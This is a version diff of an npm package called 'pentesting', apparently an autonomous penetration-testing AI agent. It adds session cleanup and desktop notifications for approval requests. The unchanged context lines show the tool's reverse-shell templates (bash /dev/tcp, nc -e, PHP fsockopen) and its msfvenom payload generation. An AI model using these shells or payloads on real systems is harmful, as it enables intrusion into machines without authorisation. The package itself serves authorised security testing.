pentesting 0.7.33 → 0.7.35

package/dist/index.js

@@ -1925,7 +1925,7 @@ async function executeMetasploit(input) {
   return executeBash(`msfconsole -q -x "${command}; exit"`, { timeout: 3e5 });
 }
 async function generatePayload(input) {
-  const { payload_type, lhost, lport, platform: platform2, format, encoder, output } = input;
+  const { payload_type, lhost, lport, platform: platform3, format, encoder, output } = input;
   const payloads = {
     windows: {
       reverse_tcp: "windows/meterpreter/reverse_tcp",
@@ -1944,7 +1944,7 @@ async function generatePayload(input) {
       reverse_tcp: "python/meterpreter/reverse_tcp"
     }
   };
-  const payloadName = payloads[platform2]?.[payload_type] || `${platform2}/meterpreter/reverse_tcp`;
+  const payloadName = payloads[platform3]?.[payload_type] || `${platform3}/meterpreter/reverse_tcp`;
   let cmd = `msfvenom -p ${payloadName} LHOST=${lhost} LPORT=${lport}`;
   if (format) cmd += ` -f ${format}`;
   if (encoder) cmd += ` -e ${encoder}`;
@@ -2276,7 +2276,7 @@ async function executeMysqlClient(input) {
   return executeBash(cmd, { timeout: 6e4 });
 }
 async function executeReverseShell(input) {
-  const { type, lhost, lport, platform: platform2, encode } = input;
+  const { type, lhost, lport, platform: platform3, encode } = input;
   const shells = {
     bash: `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`,
     nc: `nc -e /bin/bash ${lhost} ${lport}`,
@@ -2285,7 +2285,7 @@ async function executeReverseShell(input) {
     php: `php -r '$sock=fsockopen("${lhost}",${lport});exec("/bin/bash <&3 >&3 2>&3");'`
   };
   if (type === "msfvenom") {
-    const payload = platform2 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
+    const payload = platform3 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
     return executeBash(`msfvenom -p ${payload} LHOST=${lhost} LPORT=${lport} -f exe -o /tmp/shell.exe && echo "Payload saved to /tmp/shell.exe"`);
   }
   let shellCmd = shells[type] || shells.bash;
@@ -5492,6 +5492,51 @@ var SessionManager = class extends EventEmitter5 {
       return [];
     }
   }
+  /**
+   * Clean up old sessions (older than maxAgeDays)
+   */
+  async cleanupOldSessions(maxAgeDays = 7) {
+    const sessions = await this.listSessions();
+    const now = Date.now();
+    const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1e3;
+    let deletedCount = 0;
+    for (const session of sessions) {
+      const sessionAge = now - new Date(session.updatedAt).getTime();
+      if (sessionAge > maxAgeMs && session.status !== "active") {
+        const deleted = await this.deleteSession(session.id);
+        if (deleted) {
+          deletedCount++;
+        }
+      }
+    }
+    if (deletedCount > 0) {
+      this.emit("sessions_cleaned", { count: deletedCount });
+    }
+    return deletedCount;
+  }
+  /**
+   * Clean up empty or corrupted sessions
+   */
+  async cleanupInvalidSessions() {
+    await this.initialize();
+    let deletedCount = 0;
+    try {
+      const entries = await fs3.readdir(this.sessionsDir, { withFileTypes: true });
+      for (const entry of entries) {
+        if (entry.isDirectory()) {
+          const metadataPath = path3.join(this.sessionsDir, entry.name, "metadata.json");
+          try {
+            await fs3.access(metadataPath);
+          } catch {
+            await fs3.rm(path3.join(this.sessionsDir, entry.name), { recursive: true });
+            deletedCount++;
+          }
+        }
+      }
+    } catch {
+    }
+    return deletedCount;
+  }
   /**
    * Get most recent session
    */
@@ -6128,6 +6173,45 @@ function hasClipboardImage() {
   return false;
 }
 
+// src/utils/notification.ts
+import { exec as exec2 } from "child_process";
+import { platform as platform2 } from "os";
+function sendNotification(options) {
+  const { title, message, sound = true } = options;
+  const os = platform2();
+  try {
+    if (os === "darwin") {
+      const soundOption = sound ? 'sound name "Ping"' : "";
+      const script = `display notification "${escapeQuotes(message)}" with title "${escapeQuotes(title)}" ${soundOption}`;
+      exec2(`osascript -e '${script}'`);
+    } else if (os === "linux") {
+      exec2(`notify-send "${escapeQuotes(title)}" "${escapeQuotes(message)}"`);
+    } else if (os === "win32") {
+      const ps = `
+                [Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null
+                $Template = [Windows.UI.Notifications.ToastTemplateType]::ToastText02
+                $Xml = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent($Template)
+                $Xml.GetElementsByTagName('text')[0].AppendChild($Xml.CreateTextNode('${escapeQuotes(title)}')) | Out-Null
+                $Xml.GetElementsByTagName('text')[1].AppendChild($Xml.CreateTextNode('${escapeQuotes(message)}')) | Out-Null
+                $Notifier = [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier('Pentesting')
+                $Notifier.Show([Windows.UI.Notifications.ToastNotification]::new($Xml))
+            `;
+      exec2(`powershell -Command "${ps}"`);
+    }
+  } catch {
+  }
+}
+function escapeQuotes(str) {
+  return str.replace(/"/g, '\\"').replace(/'/g, "'\\''");
+}
+function notifyApprovalNeeded(toolName) {
+  sendNotification({
+    title: "Pentesting - Approval Required",
+    message: `Action requires approval: ${toolName}`,
+    sound: true
+  });
+}
+
 // src/config/theme.ts
 var THEME = {
   // Backgrounds (dark to light grays)
@@ -6585,7 +6669,17 @@ var App = ({ autoApprove = false, target }) => {
         }
       });
     });
-  }, []);
+    sessionManager2.cleanupOldSessions(7).then((count) => {
+      if (count > 0) {
+        console.log(`[Session] Cleaned up ${count} old sessions`);
+      }
+    });
+    sessionManager2.cleanupInvalidSessions().then((count) => {
+      if (count > 0) {
+        console.log(`[Session] Removed ${count} invalid sessions`);
+      }
+    });
+  }, [sessionManager2]);
   const startTimeRef = useRef(0);
   const timerRef = useRef(null);
   const addMessage = useCallback((type, content, duration) => {
@@ -6743,6 +6837,7 @@ var App = ({ autoApprove = false, target }) => {
         toolInput: data.toolInput,
         riskLevel: data.riskLevel
       });
+      notifyApprovalNeeded(data.toolName);
       addMessage(MESSAGE_TYPE.SYSTEM, `APPROVAL NEEDED: ${data.toolName} (${data.riskLevel} risk)`);
       const inputPreview = Object.entries(data.toolInput).slice(0, 2).map(([k, v]) => `${k}=${typeof v === "string" ? v.slice(0, 40) : JSON.stringify(v).slice(0, 40)}`).join(", ");
       if (inputPreview) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "pentesting",
-  "version": "0.7.33",
+  "version": "0.7.35",
   "description": "Autonomous Penetration Testing AI Agent",
   "type": "module",
   "main": "dist/index.js",